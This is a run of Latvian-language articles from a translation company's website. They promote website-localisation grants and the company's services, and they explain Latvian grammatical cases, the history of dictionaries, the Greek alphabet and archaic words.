sadarbības partnera interese par jūsu uzņēmumu vai produktu aizvien biežāk aizsākas tieši interneta vidē. Izvēlēties starp tūkstošiem pakalpojumu sniedzēju nav vienkārši. Nereti, ja mums nepieciešamā informācija netiek pasniegta mums saprotamā valodā, ātri un viegli uztverama teksta veidā, informatīvā materiāla piedāvājums nav uzmanību piesaistošs ─ mēs pie tā neapstājamies. Tīmekļa vietnei ir jābūt dinamiskai un aktuālai nepārtraukti – jauna informācija, tērzētavas, pieteikuma formas, virtuālie asistenti, internetveikals, sasaiste ar sociālajiem tīkliem, reklāmas – tie visi ir atslēgas vārdi, kas raksturo veiksmīgu biznesu mūsdienu digitālajā un tehnoloģiju pasaulē! Latvijas Investīciju un attīstības aģentūra (LIAA) jau kopš 1993. gada Latvijas Republikas Ekonomikas ministrijas padotībā strādā, lai palīdzētu Latvijas uzņēmumiem attīstīties ne tikai pašmāju tirgū, bet sniedz arī finansiālu atbalstu, lai sasniegtu arī atpazīstamību pasaules līmeņa tirgos. Neatkarīgi no tā vai uzņēmums ir nesen uzsācis savu komercdarbību, vai jau kādu laiku darbojas biznesa vidē, tiek piedāvātas dažādas atbalsta programmas, kas veicinātu uzņēmumu ārējo tirdzniecību, piesaistītu ārvalstu investīcijas Latvijas uzņēmumos, popularizētu Latvijas kā biznesa partnera tēlu plašajā pasaulē. Šobrīd LIAA viena no piedāvātajām atbalsta programmām uzņēmumiem ir saistīta ar tīmekļvietnes, internetveikalu, aplikāciju digitālo risinājumu un virtuālās komunikācijas platformu izstrādi eksporta tirgiem. Visas atbalstāmās darbības ir saistītas ar attiecīgajām izmaksām: tīmekļvietnes tulkošanas izmaksas, to adaptēšanas un tehniskās izmaksas; tīmekļvietņu, internetveikalu un aplikāciju digitālo risinājumu izstrādes izmaksas; tīmekļvietnes domēna iegādes izmaksas; virtuālās komunikācijas platformu izstrādes izmaksas. Tā ir lieliska iespēja uzņēmējiem, komersantiem, pašvaldībām, zemnieku saimniecībām, individuālajiem komersantiem popularizēt savu komerciālo darbību ne tikai Latvijas tirgū, bet arī citās pasaules valstīs. Šī ir iespēja ar digitālās komunikācijas palīdzību piesaistīt jaunus sadarbības partnerus, jaunus klientus, atrast izdevīgus eksporta un importa tirgus. Vairāk par pašu projektu un pieteikšanos lasiet šeit. Skrivanek Baltic aicina ikvienu interesentu pieteikties šai atbalsta programmai, jo mūsdienās uzņēmuma tīmekļvietne bieži vien ir vienīgais un pats svarīgākais informācijas avots, kur cilvēki uzzina par piedāvātajiem pakalpojumiem vai produktiem. Skaists stends starptautiskā izstādē vai smalka vizītkarte nesniegs pilnīgu informāciju, ja nebūs piesaistes interesantai, informējošai, modernai, dažādām mērķa auditorijām pielāgotai tīmekļa vietnei. Protams, mēs varam izvēlēties savu mājaslapu tulkot, pilnveidot, veidot un lokalizēt pašu spēkiem, nepiesaistot valodu profesionāļus un papildu investīcijas, taču šis process nebūs ilgtspējīgs un nesniegs gaidāmo rezultātu un pienesumu. Mēs, Skrivanek Baltic, tulkošanas un valodu pakalpojumu jomā strādājam jau vairāk nekā 25 gadus, sadarbojoties ar valsts un pašvaldību iestādēm, lieliem un maziem uzņēmumiem, korporācijām, nevalstiskām organizācijām un izglītības iestādēm Latvijā un Eiropā. Viens no mūsu pamatpakalpojumiem ir tīmekļa vietņu tulkošana, adaptācija un lokalizācija, audio un video satura lokalizācija, digitālā mārketingā tekstu lokalizācija, Google Ads un SEO tekstu tulkojumi un Google atslēgas vārdu izpēte mērķa tirgos. Konsultējam un palīdzam piemeklēt labāko tehnisko risinājumu, strādājam ar WPML ─ spraudnis mājaslapu, kas ir veidotas un tiek uzturētas WordPress vidē, tulkošanai un lokalizācijai. Tas nozīmē, ka tulkojamā teksta datņu apmaiņa vairs nenotiek pa e-pastu, nekas netiek manuāli kopēts, darba process tiek maksimāli automatizēts. Viens no iemesliem, kādēļ mūsu sadarbības partneri izvēlas Skrivanek pakalpojumus atkārtoti, ir klientam nemainīgi piesaistītā projektu vadītāju, tulkotāju, redaktoru un IT speciālistu komanda, tādējādi garantējot gala rezultāta kvalitāti. Varam lepoties, ka nodrošinām valodu risinājumus ļoti dažādām nozarēm vairāk nekā 300 valodu kombinācijās. Vairāk par mūsu pakalpojumiem lasiet šeit. Uz tikšanos virtuālajā biznesa pasaulē! --- > Instrumentālis ir viens no lietvārda gramatiskajiem locījumiem, kas atbild uz jautājumu – ar ko? Uzzini vairāk šajā rakstā. - Published: 2022-09-02 - Modified: 2022-10-21 - URL: https://skrivanek.lv/instrumentalis/ - Kategorijas: Locījumi - Translation Priorities: Optional KAS IR INSTRUMENTĀLIS? Instrumentālis (latīņu: casus instrumentalis) ir viens no valodu gramatiskajiem locījumiem, kas parasti parāda, ka vārds, uz ko tas attiecas, ir instruments, ar kuru teikuma priekšmets veic kaut ko. INSTRUMENTĀLIS LATVIEŠU VALODĀ Par instrumentāli latviešu valodā kā atsevišķu locījuma kategoriju un tā vietu mūsdienu latviešu valodas lietvārdu locīšanas paradigmā tiek ļoti daudz runāts. Šī diskusija nav aizsākusies šodien vai vakar, problēma ir bijusi aktuāla jau kopš 19. gadsimta. Instrumentālis kā stabils locījums lietvārdu aprakstos atzīts tikai kopš 20. gadsimta sākuma. Instrumentālis atbild uz jautājumu – ar ko? Instrumentālis abos skaitļos ir zaudējis savu atšķirīgo gramatisko pazīmi – galotni, kas nozīmē to, ka vienskaitlī instrumentāļa forma sakrīt ar akuzatīvu, bet daudzskaitlī ar datīvu. Tomēr vairākās izloksnēs instrumentālis tiek izrunāts ar atšķirīgu gala zilbes intonāciju – instrumentālim ir raksturīga lauztā intonācija, bet akuzatīvam un datīvam – krītošā. Der atcerēties, ka līdz mūsdienām latviešu valodā ir saglabājušās arī dažas arhaiskas formas, kas nesakrīt ar citiem locījumiem, piemēram, vietniekvārdi manim, sevim, tevim un arī tādi apstākļa vārdi kā vietumis, retumis, vienis prātis. Lai gan instrumentālis tiek saistīts ar prievārdu “ar”, reizēm tas tiek lietots arī bez tā – ar ziediem rotāts tulkošanas birojs vai ziediem rotāts tulkošanas birojs, tulks ar sirmu bārdu vai tulks sirmu bārdu. Mūsdienās latviešu valodā instrumentālis tomēr visbiežāk tiek lietots kopā ar prievārdu “ar”. Prievārds “ar” palīdz novērst vēsturiski izveidojušās homoformas ar akuzatīvu vienskaitlī un datīvu daudzskaitlī. INSTRUMENTĀĻA NOZĪMES Līdzekļa vai pavadoņa nozīme – tulkot tekstu ar vārdnīcu, vienoties ar tulkotāju par izpildes termiņu, slēgt sadarbības līgumu ar Skrivanek, mūsu tulks iet uz darbu ar sarkanu lietussargu. Laika nozīme, apzīmē darbības sākumu – ar rītdienu franču valodas tulks Jānis dodas atvaļinājumā. Mēra nozīme, proti, apzīmē daudzuma vienību, norādot uz mēru, svaru, skaitu. Lieto tikai daudzskaitlī un bez prievārda “ar” – krāt tulkotāja pieredzi gadiem. INSTRUMENTĀLIS CITĀS VALODĀS Instrumentāļa locījums plaši tiek lietots arī daudzās citās valodās – armēņu, serbu, horvātu, gruzīnu, slovēņu, poļu, krievu, turku, sanskritā un daudzās citās. Ir valodas, kurās instrumentāļa locījumu veido ar prievārdiem (by, with ─ angļu valodā), ar galotnēm – vācu, čehu, horvātu un citās valodās. Daudzās pasaules valodās tieši locījuma formu kategorijas ir tās, kas padara valodu par grūti apgūstamu. --- > Lokatīvs ir gramatiskais locījums, kas atbild uz jautājumu – “kur”? Uzzini kad šo locījumu lieto šajā rakstā! - Published: 2022-09-02 - Modified: 2022-10-21 - URL: https://skrivanek.lv/lokativs/ - Kategorijas: Locījumi - Translation Priorities: Optional KAS IR LOKATĪVS? LOKATĪVA LOCĪJUMA PIEMĒRI LATVIEŠU VALODĀ. Lokatīvs (latīņu: locativus) ir viena no locījumu kategorijām, kas apzīmē atrašanās vai norises vietu un atbild uz jautājumu “kur”? LOKATĪVS LATVIEŠU VALODĀ Latviešu valodā lokatīva locījums piemīt gan lietvārdiem, gan īpašības vārdiem, gan skaitļa un vietniekvārdiem. Lokatīva locījuma nav nelokāmajiem lietvārdiem, atgriezeniskajiem lietvārdiem un vietniekvārdam “kas” (lokatīva vietā lieto apstākļa vārdu “kur”). LOKATĪVA NOZĪMES Vietas nozīme – Skrivanek mācību centrā ir daudz studentu. Laika nozīme – naktīs tulki birojā nestrādā. Veida nozīme – tulkotājam visa diena pagāja smieklos. Nolūka nozīme – projektu vadītājs devās viesos pie tulka. Adnomināls lokatīvs – tulkošanas biroja darbā. LOKATĪVS PASAULES VALODĀS Lokatīva locījums pastāv ne tikai latviešu valodā, bet arī daudzās citās pasaules valodās. Indoeiropiešu valodas – lielākajā daļā indoeiropiešu valodu lokatīva locījums ir saplūdis ar ģenitīva vai datīva locījumiem, bet ir vairākas valodas, kas to ir saglabājušas: mūsdienu baltu un slāvu valodas, izņemot bulgāru un maķedoniešu valodu. Slāvu valodās parasti lokatīva locījums tiek veidots, izmantojot prievārdus. Lokatīva locījums ir saglabājies arī dažās klasiskajās indoeiropiešu valodās, īpaši sanskritā un vecajā latīņu valodā. Literārs vai neparasts pielietojums lokatīva locījumam vēl joprojām ir novērojams noteiktās mūsdienu indiešu valodās. Čehu valodā lokatīva locījums ir vienīgais locījums, kuru nevar lietot bez prievārda, to lieto kopā ar prievārdiem v, na, po, pri un o. Poļu valodā lokatīva locījumu veido, mainot vārdu galotnes. Turku, azerbaidžāņu, kazahu, uzbeku un citās valodās bieži vien lokatīva locījuma izteikšanai tiek izmantoti piedēkļi. --- > Noderīgas latviešu, angļu un lietuviešu valodas vārdnīcas internetā. Ieskaties! - Published: 2022-08-31 - Modified: 2025-03-19 - URL: https://skrivanek.lv/noderigas-vardnicas-interneta/ - Kategorijas: Raksti - Translation Priorities: Optional NODERĪGAS VĀRDNĪCAS INTERNETĀ KAS IR VĀRDNĪCA? Vārdnīca ir vārdu vai arī vārdu savienojumu sakopojums noteiktā veidā un kārtībā − visbiežāk alfabēta secībā, ar informāciju par to nozīmi, lietojumu, izcelsmi, tulkojumu citās valodās utt. Par vārdnīcām sauc arī attiecīgas grāmatas. INTERESANTI FAKTI PAR VĀRDNĪCĀM Par vienu no senākajām vārdnīcām pasaulē uzskata Eblā (tagadējā Sīrijas teritorijā) atrasto māla plāksnīšu krājumu, kurā ap 1500 ebliešu raksta zīmes ir iztulkotas šumeru valodā. Doma par visu pasaules zināšanu apkopošanu vienuviet radās jau senā pagātnē, lai gan termins enciklopēdija radās tikai 16. gs. Terminoloģiskās vārdnīcas un zināšanu apkopojumi tika sastādīti jau Senajā Ēģiptē un Senajā Ķīnā 2. gadu tūkstotī p. m. ē. Viens šāds apkopojums ir Aleksandrijas bibliotēka. Daudzi senatnes rakstnieki, piemēram, Aristotelis centās izsmeļoši aprakstīt zināšanas visās nozarēs. Viens no nozīmīgākajiem enciklopēdistiem bija Plīnijs Vecākais, kas uzrakstīja Dabas vēsturi 37 sējumos, kas bija plaši izplatīts Eiropā līdz pat viduslaikiem. Šis ir viens no dīvainākajiem stāstiem par vārdnīcas tapšanu! Viljams Česters Mainors bija pilsoņu kara veterāns, kurš cieta no nopietnas paranoiskas šizofrēnijas pēc pieredzētajām kara šausmām. Viņš atkārtoti sapņoja par to, ka viņa istabā ir ielauzies iebrucējs Kādu nakti 1872. gadā Mainors izšāva, kā viņam likās, uz iebrucēju, taču patiesībā kā vēlāk izrādījās, ka tas bija nevainīgs garāmgājējs, un Mainors viņu bija nogalinājis. Mainors tika sodīts un ievietots Broudmūras Ārprātīgo noziedznieku patversmē. Atrodoties ieslodzījumā, Mainors sāka sūtīt vārdus Oksfordas angļu valodas vārdnīcas redaktoram Džeimsam Marrijam. Kopumā Mainors nosūtīja Marrijam vairāk nekā 10 000 ierakstu, kas bija milzīgs ieguldījums Oksfordas angļu valodas vārdnīcas tapšanā. Abi vīrieši galu galā satikās gandrīz 20 gadus pēc viņu sarakstes sākuma. 2019. gadā tika uzņemta biogrāfiska drāma, kas balstīta uz Saimona Vinčestera romānu The Surgeon of Crowthome, kas uzrakstīta pēc patiesiem notikumiem. Noa Vebsters nebija pirmais amerikānis, kurš izveidoja vārdnīcu, toties viņa paša vārds ir kļuvis par sinonīmu amerikāņu vārdnīcai. Cerot palīdzēt izveidot unikālu amerikāņu leksiku ar amerikanizētu vārdu pareizrakstību un izrunu, 1806. gadā Vebsters publicēja savu pirmo vārdnīcu A Compendiious Dictionary of the English Language. 1807. gadā Vebsters sāka sastādīt paplašinātu un pilnībā visaptverošu vārdnīcu Amerikāņu angļu valodas vārdnīcu(An American Dictionary of the English Language); tās pabeigšana prasīja divdesmit sešus gadus, vārdnīca tika publicēta 1828. gadā, un tajā bija iekļauti 70 000 ierakstu un pirmās definīcijas tādiem vārdiem kā biezzupa un skunks. Lai rūpīgi izpētītu vārdu izcelsmi un avotus, Vebsters nopietni nolēma kļūt par etimoloģijas ekspertu, viņš apguva divdesmit astoņas valodas, tostarp seno angļu, gotu, vācu, grieķu, latīņu, itāļu, spāņu, franču, holandiešu, velsiešu, krievu, ebreju, aramiešu, persiešu, arābu un sanskritu. Vebsters vēlējās standartizēt amerikāņu runu, jo amerikāņi dažādās valsts daļās izmantoja dažādas valodas. Oksfordas angļu valodas vārdnīca, domājams, ir joprojām autoritatīvākais angļu valodas leksikogrāfijas avots. Vārdnīca Oksfordas universitātes apgādā sāka iznākt kopš 1884. gada 1. februāra. 1884. gada 1. februārī britu grāmatnīcās parādījās jauns izdevums − Jaunā angļu valodas vēsturisko principu vārdnīca; balstīta pamatā Filoloģijas biedrības savāktajos materiālos. 1. burtnīca. Tā savu dzīvi sāka šobrīd pilnīgākais un akadēmiski korektākais angļu valodas vārdu krājuma atspoguļojums – Oksfordas angļu valodas vārdnīca. Kad 1879. gadā – apmēram divdesmit gadus pēc darba uzsākšanas – redaktori vienojās ar izdevēju, viņi plānoja pabeigt izdevumu apmēram desmit gados. Tā bija pilnīgi nereāla prognoze – pēdējā vārdnīcas burtnīca iznāca 1929. gadā. Pa to laiku angļu valodā šis tas jau bija mainījies, un tūdaļ arī bija jāsāk gatavot papildus sējumi, kuru izdošanu pabeidza 1933. gadā. Tātad, no ieceres rašanās līdz tās īstenošanai pagāja 75 gadi. Vēl pēc nepilna ceturtdaļgadsimta – 1957. gadā – sāka gatavot otro Oksfordas angļu valodas vārdnīcas izdevumu, kuru pabeidza pēc 29 gadiem. Pa šo laiku jau atkal bija mainījusies ne vien angļu valoda, bet arī vārdnīcu sastādīšanas principi. Tā, piemēram, kopš pagājušā gadsimta 60. gadu vidus vārdnīcā iekļauti arī daži visā pasaulē zināmi angļu vārdi, kuru līdz tam tur nebija piedienīguma apsvērumu dēļ. Šobrīd Oksfordas angļu valodas vārdnīcas plašākā versija ir atrodama tīmeklī. Tajā ir ietverti vairāk nekā 600 000 vārdu un apmēram 3 miljoni ilustratīvu citātu. Līdz ar tīmekļa versijas publiskošanu 2000. gadā sākās arī darbs pie trešās vārdnīcas redakcijas, un ir paredzēts, ka tas noslēgsies 2037. gadā. Šo procesu Oksfordas angļu valodas vārdnīcas galvenā redaktora amatā vada Maikls Proffits, kurš visu savu darba mūžu, proti, vairāk nekā 30 gadu, ir veltījis vārdnīcas projektam. Lielākā daļa vārdnīcu tika uzskatītas par profesionālo literatūru, un tās nebija īpaši populāras cilvēku vidū un nebija arī īpaši pieejamas. Vārdnīcu popularitāte aizsākās divdesmitā gadsimta vidū, kad cilvēkiem kļuva skaidrs, ka vārdnīca nav tikai grāmata, kurā tiek skaidroti nesaprotami vārdi, bet gan savā ziņā zināšanu iegūšanas avots. Viena no aptaujām, kas tika veikta 90. gados Lielbritānijā, parādīja, ka vismaz viena skaidrojošā vārdnīca grāmatu plauktā bija aptuveni 90% britu ģimeņu, apsteidzot pavārgrāmatu (70% ģimeņu) un Bībeli (80 ģimeņu). VĀRDNĪCAS LATVIEŠU VALODĀ Liela loma latviešu valodas izpētē un rakstības pilnveidē bija vācu mācītājam Georgam Mancelim. Viņš ir arī 1638. gadā pirmās zināmās iespiestās latviešu valodas vārdnīcas Lettus autors. Tā ir vācu-latviešu vārdnīca, kuras pirmajā daļā doti tulkojumi aptuveni 6000 vārdiem, otrajā daļā sniegts vācu valodas frāžu un teikumu tulkojums latviešu valodā. Šī vārdnīca ietekmēja turpmāko leksikogrāfijas attīstību. Ņemot vērā, ka 17. gadsimta otrajā daļā Austrumlatvija joprojām atradās katoļticīgās Polijas varā, 1683. gadā tika publicēta Poļu-latīņu-latviešu vārdnīca, ko sastādījis katoļu latviešu izcelsmes priesteris Juris Eļģers. Pirmā iespiestā vārdnīca ar latviešu valodu kā pirmvalodu tika izdota 1761. gadā kā papildinājums G. F. Stendera latviešu valodas gramatikai. Vārdnīca bija pielikums, kas satur latviešu sakāmvārdus, kas aizgūti no iepriekšējām vārdnīcām, kā arī paša autora apkopotas. Langes vācu-latviešu un latviešu-vācu vārdnīca (1772. —1777. ) un G. F. Stendera Lettisches Lexikon, kas tika izdota 1789. gadā, tiek uzskatītas par ievērojamākajām divvalodu 18. gadsimta vārdnīcām Latvijā. Šajā laikā divvalodu vārdnīcas gandrīz pilnībā sastādīja tikai vācu autori. Angļu-latviešu vārdnīcu tradīcija aizsākas ar Jēkaba Dravnieka vārdnīcu 1924. gadā. Tradīcijas gaitā ir sastādītas apmēram divdesmit astoņas dažāda apjoma un strukturālas sarežģītības vārdnīcas. Latviešu literārās valodas leksikogrāfijas jomā īpaši svarīgi ir 1972. –1996. gadā publicētie Latviešu literārās valodas vārdnīcas astoņi sējumi desmit grāmatās. Šā projekta vadītājs bija Laimdots Ceplītis. NODERĪGAS LATVIEŠU VALODAS VĀRDNĪCAS INTERNETĀ Mūsdienu latviešu valodas vārdnīca Latviešu literārās valodas vārdnīca Latvijas Enciklopēdiskā vārdnīca (32 000 šķirkļu un 3500 attēlu) EuroTermBank (vairāk nekā 600 000 terminoloģijas šķirkļu) Terminu un svešvārdu skaidrojošajā vārdnīca Latvijas Nacionālais terminoloģijas portāls NODERĪGAS ANGĻU VALODAS VĀRDNĪCAS INTERNETĀ Oksfordas Universitātes angļu valodas vārdnīca Kembridžas Universitātes angļu valodas vārdnīca Angļu valodas skaidrojošā vārdnīca (ap 200 000 vārdu) Angļu valodas skaidrojošās vārdnīcas, tēzaurs Saīsinājumu, akronīmu vārdnīca angļu valodā NODERĪGAS LIETUVIEŠU VALODAS VĀRDNĪCAS INTERNETĀ Lietuviešu valodas vārdnīca Lietuviešu valodas vārdnīca Literāras lietuviešu valodas vārdnīca Mūsdienu lietuviešu valodas vārdnīca Lietuvas Republikas terminu banka Sinonīmu vārdnīca Antonīmu vārdnīca Frazeoloģijas vārdnīca Jaunvārdu datu bāze Lietuviešu valodas vārdnīca --- > Grieķu alfabēts sastāv no 24 burtiem un tas tiek lietots grieķu valodas pierakstīšanai jau kopš 8. gs. p. m. ē. Uzzini kādi tie ir šajā rakstā. - Published: 2022-07-12 - Modified: 2022-11-23 - URL: https://skrivanek.lv/grieku-alfabets/ - Kategorijas: alfabets - Translation Priorities: Optional GRIEĶU ALFABĒTS Grieķu alfabētā ir 24 burti un tas tiek lietots grieķu valodas pierakstīšanai jau kopš 8. gadsimta p. m. ē. Grieķu alfabēts ir radies uz feniķiešu alfabēta pamata, taču, atšķirībā no feniķiešu alfabēta, grieķu alfabētā ar burtiem tika apzīmēti ne tikai līdzskaņi, bet arī patskaņi. Grieķu alfabēta burti tika lietoti arī skaitļu apzīmēšanai. Arhaiskajā un agrīnajā klasiskajā laikmetā grieķu alfabēts pastāvēja daudzos vietējos variantos, bet līdz 4. gadsimta beigām p. m. ē. Eiklīda alfabēts ar 24 burtiem tika sakārtots no alfa līdz omega un kļuva par grieķu alfabēta standartu, un tieši šī versija joprojām tiek izmantota grieķu valodas pierakstīšanai. GRIEĶU ALFABĒTA BURTI Alfa (α) – alfa daļiņu attēlošanai fizikā. Tam ir daudz citu pielietojumu zinātnē un inženierzinātnēs, tostarp absorbcijas koeficienta, leņķu, leņķiskā paātrinājuma, pretestības temperatūras koeficienta, termiskās izplešanās koeficienta, spožākās zvaigznes u. c. lielumu apzīmēšanai. Beta (β) – fizikā mazo burtu lieto, lai apzīmētu beta daļiņu vai beta staru. To izmanto arī, lai apzīmētu leņķus, kopējā emitētāja strāvas pastiprinājuma koeficientu, plūsmas blīvumu, fāzes konstanti un viļņa garuma konstanti, kā arī kļūdaini negatīvo rādītāju statistikā, ekliptisko platumu astronomijā, beta smadzeņu vilni smadzeņu vai kognitīvajās zinātnēs u. c. Gamma (γ) – Gamma starojums, šis ir viens no visizplatītākajiem mazā burta pielietojumiem, vēl tiek apzīmēti tādi lielumi kā trešais leņķis trīsstūrī, siltumietilpības koeficients termodinamikā u. c. Ar lielo burtu apzīmē vairākus lielumus, piemēram – pārraides un telekomunikāciju līnijas atstarošanas vilni u. c. Delta (Δ) – lielais burts, ko izmanto daudzās inženierzinātņu jomās un fizikā, parasti apzīmē atšķirību starp jebkāda veida mērījumiem. Mazais burts var apzīmēt divas dažādas matemātiskas funkcijas – Diraka un Kronekera funkcijas. To izmanto arī leņķu apzīmēšanai, slāpēšanas koeficientam (samazinājuma konstantei), samazinājumam, pieaugumam un sekundārās emisijas attiecībai. Epsilons (ε) – nejauša kļūda regresijas zinātnē, tukša virkne datorzinātnē, elektromagnētiskā caurlaidība, elastības apzīmējums ekonomikā, Zemes aksiālais slīpums astronomijā u. c. lielumi. Zeta (ζ) – To izmanto matemātikas un fizikas lietojumprogrammās, lai apzīmētu koeficientus, koordinātas un pretestību. Tas ir arī amortizācijas koeficienta apzīmējums, kā arī apzīmē vairākas zeta funkcijas matemātikā. Eta (η) – mazo burtu daudz pielieto fizikas un astronomijas lielumu apzīmēšanai, piemēram, konformālā laika attēlošana kosmoloģijā, dielektriskā jutība, efektivitāte, histerēze u. c. Teta (θ) – parasti izmanto trigonometrijā. To izmanto, lai attēlotu griešanās leņķi, leņķus, leņķiskās fāzes nobīdi, pretestību, potenciālo temperatūru termodinamikā u. c. Lota (Ι) – lielais burts tiek izmantots kā identitātes matrica. Mazo burtu izmanto samērā reti. Kappa (κ) – Einšteina gravitācijas konstante tiek apzīmēta ar mazo burtu, un kosmoloģijā visuma izliekumu apzīmē ar mazo kappu. Tas arī apzīmē savienojuma koeficientu un jutību. Lambda (λ) – viens no pazīstamākajiem un visbiežāk lietotajiem grieķu alfabēta burtiem. Lambda bieži tiek izmantota kā viļņa garuma simbols gan zinātnē, gan inženierzinātnēs, kā arī īpašvērtības apzīmējums lineārajā algebrā. Mu (μ) – tiek apzīmēti dažādi lielumi fizikā un inženierzinātnēs. Parasti mazo burtu izmanto kā prefiksu “mikro” mērvienībai. Vēl ar mazo burtu apzīmē tādas vienības kā ķīmisko potenciālu termodinamikā, iedzīvotāju vidējie rādītāji statistikā, dinamisko viskozitāti fizikā u. c. Nu (ν) – konstrukciju un mašīnbūves pasaulē mazais burts identificē Puasona koeficientu, kas ir attiecība, cik daudz materiāla platums samazinās un garums palielinās, kad tas ir izstiepts. Xi (ξ) – grieķu burts, kurš ir inženiertehniskās dinamikas varonis – mazais Xi. Tā vietā, lai rakstītu pilnu amortizācijas attiecību, to var vienkāršot, izmantojot šo mazo burtu. Tas palīdz, ja jums ir patiešām garš vienādojums. To lieto arī, lai apzīmētu izejas koeficientu. Omikrons (ο) – Šim grieķu burtam ir vairāk astronomisku pielietojumu, jo tas attēlo piecpadsmito zvaigzni zvaigznāju grupā. Mūsdienās arī SARS-CoV-2 Omicron variants, vīrusa variants, kas izraisa COVID19. Pi (π) – Iespējams, ikoniskākais un pazīstamākais grieķu burts, kas apzīmē skaitli Pi vai 3,14159... un tā tālāk. Pi parasti izmanto ģeometrijā, jo tā ir apļa apkārtmēra un diametra attiecība. Neatkarīgi no apļa lieluma apkārtmēra un diametra attiecība vienmēr ir vienāda ar Pi. Ro (ρ) – lieto, lai apzīmētu blīvumu un atstarošanas koeficientu, pretestību un lādiņa virsmas blīvumu. Sigma (σ) – Ja ir viens grieķu burts, kas raksturotu inženieru dzīvi, tas būtu mazais burts sigma; tas apzīmē tik daudz lielumu – nesošo spriegumu, termisko spriegumu, elastīgo spriegumu, un citus sprieguma veidus, par kuriem inženieri var domāt, parasti apzīmē kā sigma. Tomēr lielais burts sigma ir vispopulārākais – tas apzīmē jebkuru vērtību "summu". Tau (τ) – parasti izmanto, lai apzīmētu noteiktu sprieguma veidu, ko sauc par bīdes spriegumu, kā arī izplatīšanās konstanti, Tomsona koeficientu, laika konstanti, laika fāzes nobīdi un pārraides koeficientu. Upsilons (Y) – lielie burti bieži tiek lietoti astrofizikā un apzīmē masas un gaismas attiecību. Phi (φ) – strādājot ar apļveida objektiem, piemēram, caurulēm, Phi parasti izmanto, lai apzīmētu tā diametru, un to lieto arī, lai apzīmētu leņķus, veiktspējas koeficientu, kontakta potenciālu, magnētisko plūsmu, fāzes leņķi, fāzes nobīdi un starojuma plūsmu. Chi (χ) – mazo burtu parasti izmanto struktūras analīzē, lai attēlotu izliekuma slodžu samazinājuma koeficientu. Psi (ψ) – bieži izmanto fizikā, lai apzīmētu viļņu funkcijas kvantu mehānikā, un to pat izmanto, lai attēlotu planētu Neptūns! Omega (ω) – elektriskās pretestības mērvienība, blīvuma parametrs kosmoloģijā un vēl bezgalīgi daudz lielumu dažādās zinātnēs. GRIEĶU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu grieķu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no grieķu valodas. Tulkojumi grieķu valodā GRIEĶU VALODAS KURSI Piedāvājam grieķu valodas mācības uzņēmumu un iestāžu darbiniekiem, kā arī individuālos grieķu valodas kursus privātpersonām. Nodarbību laiks un intensitāte pēc Jūsu izvēles! Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums - apmeklējiet individuālos grieķu valodas kursus divatā, maksājot tikai par viena studenta mācībām! Grieķu valodas kursi --- > Vecvārdi ir novecojuši vārdi, kurus mūsdienās lieto reti vai nelieto nemaz. Kas ir historismi un arhaismi? Ar ko tie atšķiras? - Published: 2022-07-12 - Modified: 2024-07-09 - URL: https://skrivanek.lv/vecvardi/ - Kategorijas: Raksti - Translation Priorities: Optional VECVĀRDI Karstums mani padarīja uļenu, atvēru logu un alpām tempu svaigo gaisu. Skatos, kaimiņam dūmelis kūp. Kamēr tā skatījos, istabā pa atvērto logu ielidoja milzīga bambāle. Ņēmu ķiseni un metu tai pakaļ. Apnikusi man tā zumēšana līdz ūkai. Vecvārdi ir novecojuši vārdi, kurus mūsdienās lieto reti vai nelieto nemaz. KAS IR VECVĀRDS? Vārds dzīvo tik ilgi, kamēr tas tiek lietots. Valodas vārdu krājumā noris nepārtraukta attīstība, daļa vārdu pamazām kļūst nevajadzīgi un izzūd, daļa rodas no jauna. Leksika ir vismainīgākā valodas sistēmas daļa, tai ir gan aktīvā, gan pasīvā daļa. Pasīvajā daļā nonāk vārdi, kuri tiek lietoti reti vai netiek lietoti nemaz. Nelietošanas iemesli var būt dažādi, taču tie ir cieši saistīti ar cilvēka ikdienas dzīvi, sociālām pārmaiņām sabiedrības dzīvē, ražošanas attīstību, jaunu tehnoloģiju parādīšanos un dažādiem ekonomiski politiskiem notikumiem. Viena no šādām pasīvās leksikas grupām ir vecvārdi. Vecvārdi noteikti nav jāmeklē Viktorijas laikmetā vai tūkstošiem gadu senā vēsturē, tie rodas ikdienā mums tepat blakus. VECVĀRDU RAŠANĀS Vārdi noveco divos gadījumos: ir beiguši eksistēt to apzīmētie jēdzieni, piemēram, dzimtbūšana, sieks, olekts, vagars, kučieris, birkavs, dālderis, vērdiņš u. c. Šādus vārdus sauc par historismiem. šie jēdzieni ir saglabājušies, bet to apzīmēšanai radīti jauni vārdi, piemēram, bāliņš (brālis), kambaris (istaba), avs(aita), stundenis (pulkstenis) u. c. Šādus vārdus sauc par arhaismiem. Visvairāk ir tādu vecvārdu, kuri apzīmē jēdzienus, kas saistās ar agrāku laiku sabiedrisko iekārtu, piemēram, goba (nodevas), vagars, muiža, klaušas, arkls (zemes mērvienība), guberņa, rāte u. c. HISTORISMI Historisms ir vecvārds, kuram ir novecojuši un zuduši apzīmētie jēdzieni. Daudzi no historismiem ir kļuvuši par vēstures terminiem. Tātad historismi ir vārdi, kuri nosauc priekšmetus, parādības, procesus, kas ir zuduši no ikdienas. Tomēr historismu lietojums ir daudz biežāks un plašāks, salīdzinot ar arhaismiem. Bez historismiem nav iedomājama vēstures apgūšana, jo daudzi no šiem jēdzieniem ir saistīti ar kādreizējo sabiedrisko un politisko iekārtu, valsts pārvaldes formām, struktūrvienībām u. tml. Historismiem nav sinonīmu mūsdienu valodā. Tos lieto arī daiļliteratūrā, dzejā, runājot par agrāko laiku parādībām un notikumiem, ar kuriem mūsdienās vairs nesaskaras. Ar sabiedrības vēsturi kā piemēru var minēt šādus vārdus – komjaunietis, muiža, klaušas, ģilde, rāte, dzimtcilvēks, cunfte. ARHAISMI Arhaisms (no sengrieķu: ἀρχαϊκός (archaios) — 'sens, senlaiku') leksikoloģijā ir vecvārds, kura apzīmētais jēdziens ir saglabājies līdz mūsdienām, bet tagad tā nosaukšanai izmanto citus vārdus, piemēram, zeltene ‘jaunava’, secen ‘garām’, kamieši ‘pleci’, diet ‘dejot’, apgaust ‘apraudāt’. Tātad arhaismi ir vārdi, kuru vietā attiecīgā priekšmeta, parādības, procesa nosaukšanai tiek lietoti citi aktīvās leksikas vārdi. Arhaismus daudz lieto 